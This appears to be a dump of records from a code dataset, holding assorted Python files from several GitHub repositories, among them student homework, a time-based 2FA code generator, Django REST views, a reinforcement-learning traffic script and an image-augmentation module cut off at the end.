company_1 & company_2\nprint('collection of employees with some name from both of groups', col_1, '\\n')\ncol_2 = company_1 | company_2\ncol_3 = company_1 - company_2\ncol_4 = company_2 - company_1\nn = 0\nwhile n < 12:\n name = input('input names \\n')\n if name in col_2:\n print(name, 'kampanianeric mekum ashxatum e')\n else:\n print(name, 'voch mi company-um el chka')\n if name in col_1:\n print(name, 'erkusi mej el ka')\n if name in col_3:\n print(name, \"ashxatum e 1-in company-um\")\n if name in col_4:\n print(name, 'Ashxatum e erkrord company-um')\n\n n += 1\n","repo_name":"Hrocyber/python_homeworks","sub_path":"task6/task6_3.py","file_name":"task6_3.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21312429825","text":"# Team: parasauras\n# Date: 05/05/2023\n# Description: CYEN 301 program 5, implemets a time based code generator (intended for 2fa) using md5sum\n\nimport time\nimport hashlib\nimport sys\n\n\n\nDAYLIGHT_SAVINGS = True # change if getting the wrong output\nCUSTOM_SYSTIME = '2010 06 13 12 55 34' # if testing a particular system time, change this, otherwise, if using current time, leave blank\n\n\n\ndef check_valid_epoch_len(epoch):\n \n input_error = False\n\n\n\n if len(epoch) == 6:\n if len(epoch[0]) != 4:\n input_error = True\n \n for i in range(1, 5):\n if len(epoch[i]) != 2:\n input_error = True\n else:\n input_error = True\n \n \n if input_error:\n print(\"ERROR: Please use the following format:\\n\\t[YYYY] [MM] [DD] [HH] [mm] [SS]\")\n exit()\n\n\n\n\n\ndef check_valid_epoch_maxtime(epoch):\n\n input_error = False\n max_time_vals = [2023, 12, 31, 23, 59, 59]\n min_time_vals = [1970, 1, 1, 0, 0, 0]\n\n\n\n for i in range(len(epoch)):\n if epoch[i] > max_time_vals[i] or epoch[i] < min_time_vals[i]:\n input_error = True\n \n\n if input_error:\n print(\"ERROR: Please provide input in the following ranges:\\n\\t\", end='')\n for i in range(len(max_time_vals)):\n print(\"[{}-{}]\".format(min_time_vals[i], max_time_vals[i]), end='')\n print(\"\\n\\t- note do not put more days than there are in a month, this isn't as explicitly checked for\")\n exit()\n\n\n\n\ndef secs_from_epoch(epoch):\n \n temp_days = 0\n years_since_leap = 0\n epoch_between_dates = 0\n multipliers = [60, 60, 24] # second | minute | hour\n \n \n \n epoch = epoch.split(\" \")\n \n check_valid_epoch_len(epoch)\n \n epoch = [int(i) for i in epoch]\n\n check_valid_epoch_maxtime(epoch)\n \n years_since_leap = epoch[0] % 4\n\n # subtract epoch time that will be given by calling time.time()\n epoch[0] -= 1970 # year: 1970\n epoch[1] -= 1 # month: january\n epoch[2] -= 1 # day: 1st\n\n\n\n # days contributed by year given\n epoch[0] = 366 * ((epoch[0] + 1) // 4) + 365 * (epoch[0] - (epoch[0] + 1) // 4)\n\n # days contributed by month given\n # i hate the gregorian calendar\n for i in range(epoch[1]):\n if i == 1: # feb\n if years_since_leap == 0:\n temp_days += 29\n else:\n temp_days += 28\n continue\n \n if (i + i//7) % 2 == 1: # 31s and 30s reverse at 8th month, but we start at index 0... qwq... ;-;... :(... o_o...\n temp_days += 30\n else:\n temp_days += 31\n \n epoch[1] = temp_days\n\n\n\n for i in range(len(epoch) - 1): # last index already in seconds\n for j in range(len(multipliers) - (i//3 == 1) - (i//4 == 1)): # yuck\n epoch[i] *= multipliers[j]\n \n\n\n for i in range(len(epoch)):\n epoch_between_dates += epoch[i]\n \n \n \n return epoch_between_dates\n\n\n\n\n\ndef generate_code(time_to_hash):\n \n final_code = ''\n \n \n \n time_to_hash = str(time_to_hash).encode('utf-8')\n md5 = hashlib.md5()\n\n md5.update(time_to_hash)\n time_to_hash = md5.hexdigest().encode('utf-8')\n\n md5 = hashlib.md5()\n\n md5.update(time_to_hash)\n time_to_hash = md5.hexdigest()\n\n\n\n # gets final code from hash\n for i in range(len(time_to_hash)):\n if time_to_hash[i].isalpha():\n final_code += time_to_hash[i]\n\n if len(final_code) == 2:\n break\n \n \n for i in range(len(time_to_hash)-1, 0, -1):\n if time_to_hash[i].isdigit():\n final_code += time_to_hash[i]\n \n if len(final_code) == 4:\n break\n \n \n \n return final_code\n\n\n\n\n\ndef get_time_to_hash(epoch_time):\n \n if len(CUSTOM_SYSTIME) != 0:\n systime = secs_from_epoch(CUSTOM_SYSTIME)\n else:\n systime = time.time()\n\n\n\n time_to_hash = int(systime - epoch_time) // 60 * 60\n\n if DAYLIGHT_SAVINGS:\n time_to_hash -= 3600\n \n return time_to_hash\n\n\n\n\n\n# if we don't get an IO redirect or pipe, no need to print\nif sys.stdin.isatty():\n print(\"Epoch Time: \", end='')\n\nepoch = input()\n\nepoch_time = secs_from_epoch(epoch)\n\ntime_to_hash = get_time_to_hash(epoch_time)\n\nfinal_code = generate_code(time_to_hash)\n\nprint(final_code)\n","repo_name":"vivi-in-4D/cyberstorm","sub_path":"timelock.py","file_name":"timelock.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24335422148","text":"# A Class is like an object constructor, or a \"blueprint\" for creating objects.\n# In practice, the statements inside a class definition will usually be function definitions,\n# but other statements are allowed, and sometimes useful — we’ll come back to this later.\n\n\nclass Person:\n say_hello = \"Hello\"\n\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n def myname(self):\n return \"My name is \" + self.name\n\n# Attribute references use the standard syntax used for all attribute references in\n# Python: obj.name. Valid attribute names are all the names that were\n# in the class’s namespace when the class object was created.\n\n\n# similar to a static java method the say_hello attribute can be called\n# without having to instantiate the class\n\nprint(Person.say_hello) # This is an attribute reference - similar to calling a static java method\n\nant = Person('anthony', 23) # This is an instantiation of a class\n\n# obj = Person() # This is also a class instantiation that is valid when no init definition is present\n\n# the special thing about methods is that the instance object is passed as the first argument of the function\n# the argument does not need to be specified because the 'self' simply calls the object\n# that it is being used on therefore the next two lines of code are the same\n\nprint(ant.myname())\nprint(Person.myname(ant))\n\n\n# Generally speaking, instance variables are for data unique to each instance\n# and class variables are for attributes and methods shared by all instances of the class:\nclass Dog:\n # this would be a mistaken use of a class variable\n # this would provide a single shared list for all Dog objects instantiated\n # tricks = []\n # instead, you would add the empty list to the __init__ definition(constructor) of the object\n\n kind = 'canine' # class variable shared by all instances\n\n def __init__(self, name):\n self.name = name # instance variable unique to each instance\n self.tricks = [] # creates a new empty list for each dog(instance variable)\n\n def add_trick(self, trick):\n self.tricks.append(trick)\n\n\nd = Dog('Fido')\nd.add_trick('roll over')\n\ne = Dog('Buddy')\ne.add_trick('play dead')\n\nprint(d.kind) # shared by all dogs\nprint(e.kind) # shared by all dogs\nprint(d.name) # unique to d\nprint(e.name) # unique to e\n\nprint(d.tricks)\nprint(e.tricks)\n\n# had we used a class variable instead of an instance variable\n# the outcome would look like the following\n\n# >>> d.add_trick('roll over')\n# >>> e.add_trick('play dead')\n# >>> d.tricks # unexpectedly shared by all dogs\n# ['roll over', 'play dead']\n\n# if the same attribute name occurs in both an instance and in a class, the attribute\n# lookup prioritizes the instance:\n\n\nclass Warehouse:\n purpose = 'storage'\n region = 'west'\n\n\nprint(Warehouse.purpose, Warehouse.region)\n\nw2 = Warehouse()\nw2.region = 'east'\nprint(w2.purpose, w2.region)\n\n\n\n\n","repo_name":"AnthonyG8520/Python","sub_path":"Notes/Classes.py","file_name":"Classes.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32585485368","text":"def factor(num1, num2):\n if num1 % num2 == 0:\n print(f\"Yes {num2}is a factor of {num1}\")\n else:\n print(f\"No {num2} is not a factor of {num1}\")\n\n#main\nnum1 = int(input(\"Enter the first number: \"))\nnum2 = int(input(\"Enter the second number: \"))\nfactor(num1, num2)\n","repo_name":"SmitieC/1test-repository","sub_path":"Test Repository/Functions/Function 5.py","file_name":"Function 5.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10124415769","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('materiales', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='material',\n name='retiro_factura',\n field=models.BooleanField(default=False, verbose_name=b'retiro en Factura'),\n ),\n ]\n","repo_name":"MikeRider27/grafiexpress","sub_path":"materiales/migrations/0002_material_retiro_factura.py","file_name":"0002_material_retiro_factura.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22322046003","text":"import csv\nimport mariadb\nimport os\nimport configparser\nimport sys\nimport pandas as pd\nimport openpyxl\nimport xlrd\n\nconfig=configparser.ConfigParser(allow_no_value=True)\nconfig.read_file(open(r'/etc/mysql/my.cnf'))\n\ntry:\n db=mariadb.connect(user=\"admin\", password=\"root\", host=\"0.0.0.0\", port=3306, database=\"bcac\")\n\nexcept mariadb.Error as e:\n print(f\"Error connecting to MariaDB Platform: {e}\")\n sys.exit(1)\n\n\ncursor=db.cursor(dictionary=True)\n\n\nsql_mode=\"\"\n#sql1=\"INSERT INTO Ecovariates(Patient,ER,PR,HER2,AlcoholStatusY1,SmokedY1) VALUES($Patient,$ER,$PR,$HER2,$AlcoholStatusY1,$SmokedY1)\"\n#sql1=\"INSERT INTO Ecovariates(Patient,ER,PR,HER2,AlcoholStatusY1,SmokedY1) VALUES('Positive','Negative','Yes','No','Not Known','Current','Never')\"\n#sql1=\"INSERT INTO Ecovariates(Patient,ER,PR,HER2,AlcoholStatusY1,SmokedY1) VALUES(%s,%s,%s,%s,%s,%s)\"\nsql1=\"INSERT INTO Ecovariates(Patient,ER,PR,HER2,AlcoholStatusY1,SmokedY1) VALUES('{0}','{1}','{2}','{3}','{4}','{5}')\"\n\n\n\nos.chdir(\"/home/siqfan/PHENOTYPE\")\nfile=\"Exploratory covariates 09102014.xls\"\n\n\nwith open(file) as f:\n #xls = pd.ExcelFile(r\"DietCompLyf_RFS_EFS_REC_Data_3Jul2014_PE_with_add_foods.xls\")\n book = xlrd.open_workbook(\"Exploratory covariates 09102014.xls\")\n \n sh = book.sheet_by_index(0)\n i = 0\n for rx in range(sh.nrows):\n row = []\n if rx == 0:\n continue\n for cx in range(6):\n cell_value = sh.cell_value(rowx=rx, colx=cx)\n row.append(cell_value)\n i += 1\n print(*row)\n cursor.execute(sql1.format(*row))\n if i == 2:\n break\n #f = xls.parse()\n #reader = csv.reader(f,delimiter=\" \")\n #next(reader, None)\n #for row in reader:\n # print(row)\n #cursor.execute(sql1.format(*row))\n","repo_name":"SiqiangFan/Pilot-data","sub_path":"Ecovariatesmaria.py","file_name":"Ecovariatesmaria.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31595132272","text":"from tools import *\nfrom Bebida import Bebida\nfrom Alimento import Alimento\n\nclass Feria():\n def __init__(self, db):\n self.__db = db\n\n def get_db(self):\n return self.__db\n\n\n\n ####### MÓDULO 3 ####### \n\n\n\n def show_products(self): #Mostrar todos los productos con su respectiva información\n\n lista_products = self.__db #se toma el valor de la lista con los productos\n\n print(\"\")\n print(\" ------------------ ARTÍCULOS ------------------- \")\n print(\"\") \n \n for art in range(len(lista_products)):\n print(\"\")\n print(f\"---------- Producto {art+1} ----------\")\n print(\"\")\n if type(lista_products[art]) == Alimento:\n lista_products[art].show_alimento()\n else:\n lista_products[art].show_bebida() \n print(\"\")\n print(\"-----------------------------------------------------\")\n print(\"\") \n\n #### ELIMINAR UN PRODUCTO DE LA LISTA ####\n\n def delete_product(self):\n\n lista_productos = self.__db\n \n producto_eliminar = check_num(\"Ingrese el número del producto que desea eliminar: \\n==>\")\n producto_eliminar = int(producto_eliminar)\n\n lista_productos.pop(producto_eliminar-1) #se resta 1, ya que en la lista los productos aparecen con un número que resulta de sumar el índice+1\n\n return lista_productos\n \n\n ######### BUSCAR PRODUCTOS POR FILTRO ###########\n\n\n def search_product(self, num): \n \n lista_productos = self.__db\n\n #### N O M B R E ####\n\n if num == 1:\n lista_nombre = [] \n op_nom = check_let(\"Ingrese el nombre del producto: \\n==>\").lower().capitalize() \n \n for art in range(len(lista_productos)):\n articulo = lista_productos[art]\n if articulo.get_nombre_producto().lower().capitalize() == op_nom: #se busca el objeto por el nombre, si se encuentra se añade a la lista vacía\n lista_nombre.append(articulo)\n \n return lista_nombre #de encontrarse, devuelve la lista con el objeto, sino devuelve la lista vacía\n \n #### T I P O ####\n\n if num == 2:\n lista_tipo = []\n op_tipo = check_op(1, 2, '''Seleccione el tipo de producto:\n \\n1.-Alimento\n \\n2.-Bebida\\n-->''')\n print(\"Resultados de su búsqueda:\")\n for art in range(len(lista_productos)): \n articulo = lista_productos[art]\n if articulo.get_clasificacion() == op_tipo: \n lista_tipo.append(articulo)\n else:\n continue\n \n return lista_tipo\n\n #### P R E C I O S ####\n lista_precios = [] \n if num == 3: \n op_precio = check_op(1,3,'''Seleccione el rango de precios que desea consultar: \n \\n1.-Menor a $5 \n \\n2.-De $5 a $10 \n \\n3.-Mayor a $10 \n \\n==>''')\n\n for art in range(len(lista_productos)): \n articulo = lista_productos[art] \n if op_precio == 1:\n if articulo.get_clasificacion() == 1:\n if float(articulo.get_precio()) < 5: #añade a la lista los objetos que tengan al menos un precio menor a $5\n lista_precios.append(articulo)\n else:\n for precio in range(len(articulo.get_precio())):\n if float(articulo.get_precio()[precio]) < 5: \n lista_precios.append(articulo)\n break\n\n if op_precio == 2:\n if articulo.get_clasificacion() == 1:\n if float(articulo.get_precio()) > 5 and float(articulo.get_precio()) < 10: #añade a la lista los objetos que tengan al menos un precio entre $5 y $10\n lista_precios.append(articulo)\n else:\n for precio in range(len(articulo.get_precio())):\n if float(articulo.get_precio()[precio]) > 5 and float(articulo.get_precio()[precio]) < 10:\n lista_precios.append(articulo)\n break\n\n if op_precio == 3:\n if articulo.get_clasificacion() == 1:\n if float(articulo.get_precio()) > 10: #añade a la lista los objetos que tengan al menos un precio mayor a $10\n lista_precios.append(articulo)\n else:\n for precio in range(len(articulo.get_precio())):\n if float(articulo.get_precio()[precio]) > 10:\n lista_precios.append(articulo)\n break\n\n return lista_precios\n\n\n ####### MÓDULO 4 #######\n\n\n ### VERIFICAR QUE EL CLIENTE HAYA COMPRADO UN TICKET ### \n\n def check_cedula(self):\n clientes_list = self.__db #se carga la información de la lista de clientes\n\n cedula = check_num(\"Ingrese su cédula: \\n==>\")\n\n cedula_inside = False\n for client in range(len(clientes_list)):\n if clientes_list[client].get_cedula() == cedula: #se verifica si hay algún cliente con esa cédula\n cedula_inside = True\n break\n else:\n continue\n \n if cedula_inside == False:\n return -1 \n else:\n return cedula\n\n\n #### COMPRAR PRODUCTOS ####\n\n\n def comprar_comida(self, cedula, client_db, carrito_productos): \n \n lista_productos = self.__db \n \n #LISTAS PARA GUARDAR LA INFORMACIÓN DE LOS PRODUCTOS ELEGIDOS \n carrito = []\n subtotal = [] #En caso de que el cliente decline el pago se utilizan para reestablecer el inventario\n indices = []\n indices_bebidas = []\n cantidad_alimento = []\n cantidad_bebida = []\n tamanho_list = []\n\n #CONTADOR\n costo = 0\n\n while True:\n\n producto_comprado = check_num(\"Introduzca el número del producto que desea comprar: \")\n producto_comprado = int(producto_comprado)\n\n\n if type(lista_productos[producto_comprado-1]) == Alimento:\n\n indices.append(producto_comprado)\n\n cantidad_producto = check_num(\"Introduzca la cantidad que desea comprar: \")\n cantidad_producto = int(cantidad_producto)\n\n cantidad_alimento.append(cantidad_producto)\n\n alimento = lista_productos[producto_comprado-1]\n \n nueva_cantidad = alimento.delete_inventory(cantidad_producto) #se resta la cantidad ingresada por el cliente del inventario de ese producto\n\n alimento.set_cantidad(nueva_cantidad)\n\n costo += (float(alimento.get_precio()))*cantidad_producto #se suma al costo total\n\n if type(lista_productos[producto_comprado-1]) == Bebida:\n \n indices_bebidas.append(producto_comprado)\n\n tamanho = check_op(1,3, \"Seleccione el tamaño de la bebida: \\n1.-Pequeña\\n2.-Mediana\\n3.-Grande\\n==>\")\n tamanho = int(tamanho)\n\n tamanho_list.append(tamanho)\n\n cantidad_producto = check_num(\"Introduzca la cantidad que desea comprar: \")\n cantidad_producto = int(cantidad_producto)\n\n cantidad_bebida.append(cantidad_producto)\n\n bebida = lista_productos[producto_comprado-1]\n\n nueva_cantidad = bebida.delete_inventory_bebida(tamanho, cantidad_producto) #se resta la cantidad ingresada por el cliente del inventario de ese producto de acuerdo al tamaño\n\n bebida.set_cantidad_bebida(tamanho, nueva_cantidad) \n\n costo += (float(bebida.get_precio()[tamanho-1]))*cantidad_producto\n\n\n cont = 0\n while cont < cantidad_producto:\n if type(lista_productos[producto_comprado-1]) == Bebida:\n carrito.append(lista_productos[producto_comprado-1]) # Añadir a la lista de productos a comprar\n subtotal.append(float(lista_productos[producto_comprado-1].get_precio()[tamanho-1])) # Añadir a la lista de subtotales de las bebidas\n cont += 1\n else:\n carrito.append(lista_productos[producto_comprado-1]) # Añadir a la lista de productos a comprar\n subtotal.append(float(lista_productos[producto_comprado-1].get_precio())) # Añadir a la lista de subtotales\n cont += 1\n\n op = check_op(1,2,\"¿Desea comprar otro producto? \\n1.-Sí \\n2.-No \\n==>\")\n\n if op == 1:\n continue\n if op == 2:\n break\n\n #### CALCULAR IVA, DESCUENTO Y COSTO TOTAL####\n\n cedula = int(cedula)\n narcisista = check_narcissistic(cedula)\n if narcisista == True:\n print(\"\")\n print(\"~ ¡Felicidades, se le ha otorgado un descuento del 15%! ~\")\n print(\"\")\n descuento = costo * 0.15\n else:\n descuento = 0\n\n iva = costo *0.16\n\n costo_total = (costo + iva) - descuento\n\n print(\"\")\n print(\"Costo total de la compra:\")\n print(\"\")\n print(f\"${costo_total}\")\n print(\"\")\n\n ### PREGUNTAR AL USUARIO SI VA A PAGAR ### \n \n op_pagar = check_op(1,2, \"¿Desea proceder a pagar? \\n1.-Sí \\n2.-No\\n==>\") \n\n if op_pagar == 1: #Si desea proceder con el pago\n \n\n ###### IMPRIMIR FACTURA #####\n\n for cliente in range(len(client_db)):\n if client_db[cliente].get_cedula() == str(cedula): \n client = client_db[cliente] \n \n print(\"\") \n print(\"********* FACTURA ***********\")\n print(\"\")\n\n print(\"*Datos de compra:\")\n client.show_client_data()\n print(\"-------\")\n print(\"Artículos:\")\n for art in range(len(carrito)): #se muestran los productos comprados\n print(f\"-> {carrito[art].get_nombre_producto()}\")\n print(\"\")\n print(\"\")\n print(f\"*Subtotal: ${sum(subtotal)}\")\n print(\"-------\")\n if descuento != 0:\n print(f\"*Descuento: -{descuento}\")\n print(\"-------\")\n print(f\"*IVA: + ${iva}\")\n print(\"-------\")\n print(f\"*Monto total: ${costo_total}\")\n\n client.set_dinero_pagado(float(client.get_dinero_pagado())+costo_total) #se suma el dinero pagado en feria al dinero pagado en taquilla\n client.set_feria(True) #cliente ha comprado en feria\n\n\n ## VACIAR CARRITO EN CARRITO_PRODUCTOS ## (para módulo 5)\n\n for art in range(len(carrito)): \n producto = carrito[art] \n carrito_productos.append(producto.get_nombre_producto()) \n\n ## RETORNAR VALORES ##\n\n return lista_productos, client, True, carrito_productos \n\n\n elif op_pagar == 2: #Cliente declina el pago\n \n #SE REESTABLECE EL INVENTARIO DE LOS ALIMENTOS\n if len(indices) != 0:\n for i in range(len(indices)):\n indice = indices[i]-1 \n cantidad = cantidad_alimento[i]\n articulo = lista_productos[indice]\n articulo.set_cantidad(articulo.get_cantidad() + cantidad)\n \n #SE REESTABLECE EL INVENTARIO DE LAS BEBIDAS\n\n if len(indices_bebidas) != 0:\n for i in range(len(indices_bebidas)):\n indice = indices_bebidas[i]-1 \n cantidad = cantidad_bebida[i]\n tamanho = tamanho_list[i]\n articulo = lista_productos[indice]\n articulo.set_cantidad_bebida(index = tamanho, nueva_cantidad = articulo.get_cantidad()[tamanho-1] + cantidad)\n\n return lista_productos, client, False, carrito_productos\n \n \n\n\n\n \n\n\n\n \n\n\n\n\n\n\n \n\n","repo_name":"Emirs2002/PROYECTO-SAMAN-SHOW","sub_path":"Feria.py","file_name":"Feria.py","file_ext":"py","file_size_in_byte":12703,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11747655914","text":"#A를B로\ndef solution():\n a = input()\n b = input()\n n = len(a)\n if set(list(a)) - set(list(b)) != set():\n print(-1)\n return\n answer = 0\n end = n\n for i in range(n-1, 0, -1):\n if a[i:n] != b[i:n]:\n break\n end -= 1\n for i in range(0, end):\n if a[:end].rfind(b[i:end]) != -1:\n answer = i\n break\n print(answer)\n\nsolution()","repo_name":"UNayoung/coding_test","sub_path":"baekjoon_coding_test/algorithm/22_05_29_13019.py","file_name":"22_05_29_13019.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20266781004","text":"from ray import tune\nfrom ray.rllib.algorithms.dqn import dqn\nfrom ray.tune import ExperimentAnalysis\n\nfrom rlsumo.envs.ringroad import RingRoad\nfrom rlsumo.utils.params import Params, VehicleParams, SimulationParams, RLParams\nfrom scripts.experiment import Experiment\n\nenv_config = {\n \"params\": Params(VehicleParams(env_vehicles=21, rl_vehicles=1, rl_action_type=\"discrete\", agent_type=\"rl\"),\n RLParams(),\n SimulationParams(render=False))\n}\n\nalgorithm_config = dqn.DQNConfig().training(\n lr=0.0001,\n gamma=0.99,\n td_error_loss_fn=\"huber\",\n train_batch_size=64,\n model={\n \"fcnet_hiddens\": [16, 16],\n \"fcnet_activation\": \"tanh\"\n },\n replay_buffer_config={\n \"type\": \"MultiAgentPrioritizedReplayBuffer\",\n \"capacity\": 50000\n },\n num_steps_sampled_before_learning_starts=5000,\n # noisy=True,\n # sigma0=0.28,\n # double_q=True,\n # dueling=True\n)\n\n\n# exploration_config = {\n# \"epsilon_timesteps\": 10000,\n# \"final_epsilon\": 0.01\n# },\n\n\ndef train():\n experiment = Experiment(\"DQN\", 10000, env_config, algorithm_config)\n experiment.train()\n\n\ndef evaluate():\n env_config[\"params\"].simulation_params = SimulationParams(render=True)\n tune.register_env(\"ringroad_v0\", lambda env_config: RingRoad(env_config))\n # algo = Algorithm.from_checkpoint(\n # \"/home/vamsi/ray_results/DQN_2023-07-01_15-38-25/DQN_ringroad_v0_37da4_00000_0_2023-07-01_15-38-25/checkpoint_000012\")\n\n algorithm = (\n dqn.DQNConfig().training(\n lr=0.0001,\n model={\n \"fcnet_hiddens\": [16, 16],\n \"fcnet_activation\": \"tanh\"\n },\n )\n .framework(\"torch\")\n # Rollout\n .rollouts(\n batch_mode=\"complete_episodes\",\n num_rollout_workers=1\n )\n # .evaluation(evaluation_interval=10, evaluation_duration=1)\n # Resources\n .resources(num_gpus=1)\n .environment(\"ringroad_v0\", env_config=env_config, disable_env_checking=True)\n # Reports\n # .reporting(min_time_s_per_iteration=5)\n )\n\n analysis = ExperimentAnalysis(\"/home/vamsi/Documents/GitHub/rl-sumo/results/DQN\")\n\n best_checkpoint = analysis.get_best_checkpoint(analysis.trials[0], metric=\"episode_reward_mean\", mode=\"max\", return_path=True)\n print(best_checkpoint)\n algo = algorithm.build()\n algo.restore(best_checkpoint)\n #\n #\n experiment = Experiment(\"DQN\", 10000, env_config, algorithm_config)\n experiment.evaluate(algo)\n","repo_name":"Vamsi995/rl-sumo","sub_path":"algorithms/single_agent/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"41605531425","text":"# 3-1-FrogJmp-try-2.py\n\n# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\ndef solution(X, Y, D):\n # write your code in Python 3.6\n\n # no steps, same position\n if X==Y:\n return 0\n \n # step >= 1\n cnt_step = 0\n while(X X): # 能加倍減(加速走路)\n Y = Y - D*step\n cnt_step = cnt_step + step\n step = step << 1 # (乘2)\n \n return cnt_step \n\n\n# O(1) pass","repo_name":"howarder3/codility_practice","sub_path":"3-1_FrogJmp-try-2.py","file_name":"3-1_FrogJmp-try-2.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31090273008","text":"import difflib\nfrom datasets import dict_1, dict_2\n\nfinal = []\ndistricts_2 = [d['District'] for d in dict_2]\n\nfor x in dict_1:\n match = difflib.get_close_matches(x['District'], districts_2)[0]\n y_index = districts_2.index(match)\n y = dict_2[y_index]\n final.append({**x, **y})\n\nprint(final)","repo_name":"sayori11/merge_datasets","sub_path":"alternate.py","file_name":"alternate.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71706459632","text":"from django.contrib.auth.models import User\nfrom pygments import highlight\nfrom rest_framework import serializers\nfrom .models import Snippets\n\nclass HighlightedTextSerializer(serializers.HyperlinkedModelSerializer):\n # NOTE: \"source\" points to the Snippet model \"owner\" then => \"username\" field\n # Hence, serializer.save() adds request.user to the model user field\n user = serializers.ReadOnlyField(source='owner.username')\n highlight = serializers.HyperlinkedIdentityField(view_name=\"snippets-highlights\", format='html')\n class Meta: \n model = Snippets\n fields = [\n 'url', 'id', 'highlight', 'title',\n 'code', 'created', 'user', 'code', \n 'linenos', 'language', 'style'\n ]\n\nclass UserSerializer(serializers.HyperlinkedModelSerializer):\n snippets = serializers.HyperlinkedRelatedField(many=True, queryset=Snippets.objects.all(), view_name='snippets-detail')\n class Meta:\n model = User\n fields = ['url', 'id', 'username', 'snippets']","repo_name":"iyinolu/syntax-highlighter","sub_path":"syntaxhighlighter/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33505683253","text":"from rest_framework import status\r\nfrom rest_framework.decorators import api_view\r\nfrom rest_framework.response import Response\r\nfrom rest_framework.views import APIView\r\n\r\nfrom apps.users.models import User\r\n\r\nfrom .serializers import ListUserSerializer, TestSerializer, UserSerializer\r\n\r\n\r\nclass UserAPIView(APIView):\r\n def get(self, request):\r\n users = User.objects.all()\r\n users_serializer = UserSerializer(users, many=True)\r\n # test serializer\r\n data = {\r\n \"name\": \"Edward Ramírez\",\r\n \"email\": \"edwards@gmail.com\",\r\n }\r\n serializer = TestSerializer(data=data)\r\n if serializer.is_valid():\r\n print(\"This is valid\")\r\n else:\r\n print(serializer.errors)\r\n\r\n return Response(users_serializer.data)\r\n\r\n\r\n@api_view(['GET', 'PUT', 'DELETE'])\r\ndef user_api_view(request, pk):\r\n user = User.objects.filter(pk=pk).first()\r\n\r\n if user:\r\n\r\n if request.method == 'GET':\r\n user_serializer = UserSerializer(user)\r\n return Response(user_serializer.data, status=status.HTTP_200_OK)\r\n\r\n elif request.method == 'PUT':\r\n user_serializer = UserSerializer(user, data=request.data)\r\n if user_serializer.is_valid():\r\n user_serializer.save()\r\n return Response(user_serializer.data, status=status.HTTP_200_OK)\r\n return Response(user_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n elif request.method == \"DELETE\":\r\n user.delete()\r\n return Response({\"message\": \"User deleted successfully!\"}, status=status.HTTP_200_OK)\r\n \r\n return Response({\"message\": \"User not found\"}, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n@api_view(['GET', 'POST'])\r\ndef users_api_view(request):\r\n\r\n if request.method == 'GET':\r\n users = User.objects.all().values(\"id\", \"username\", \"email\", \"password\")\r\n users_serializer = ListUserSerializer(users, many=True)\r\n return Response(users_serializer.data, status=status.HTTP_200_OK)\r\n\r\n elif request.method == 'POST':\r\n users_serializer = UserSerializer(data=request.data)\r\n if users_serializer.is_valid():\r\n users_serializer.save()\r\n return Response(users_serializer.data, status=status.HTTP_201_CREATED)\r\n\r\n return Response(users_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n","repo_name":"edwardramirez31/REST-Ecommerce","sub_path":"apps/users/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31861520215","text":"import numpy as np\nimport imgaug.augmenters as iaa\n\ndef create_augmentation_pipeline():\n # Define the data augmentation pipeline\n augmentation_pipeline = iaa.Sequential([\n iaa.SomeOf((1, 3), [\n iaa.Affine(scale=(0.9, 1.1)), # Zoom in or out\n iaa.Affine(translate_percent={\"x\": (-0.1, 0.1), \"y\": (-0.1, 0.1), \"z\": (-0.1, 0.1)}), # Translate\n iaa.Affine(rotate=(-180, 180)), # Rotate around all three axes\n iaa.Fliplr(0.5), # Flip horizontally\n iaa.Flipud(0.5), # Flip vertically\n iaa.Flip(0.5, axis=0) # Flip depth-wise\n ])\n ])\n\n return augmentation_pipeline\n\ndef apply_augmentation(x, y, augmentation_pipeline):\n # Apply the data augmentation pipeline to the dataset\n x_augmented, y_augmented = [], []\n\n for xi, yi in zip(x, y):\n xi_aug, yi_aug = augmentation_pipeline(image=xi, segmentation_maps=yi)\n x_augmented.append(xi_aug)\n y_augmented.append(yi_aug)\n\n x_augmented = np.array(x_augmented)\n y_augmented = np.array(y_augmented)\n\n return x_augmented, y_augmented\n\ndef augment_data(x_train, y_train, augmentation_factor=2):\n # Create the augmentation pipeline\n augmentation_pipeline = create_augmentation_pipeline()\n\n # Initialize augmented data arrays\n x_augmented = []\n 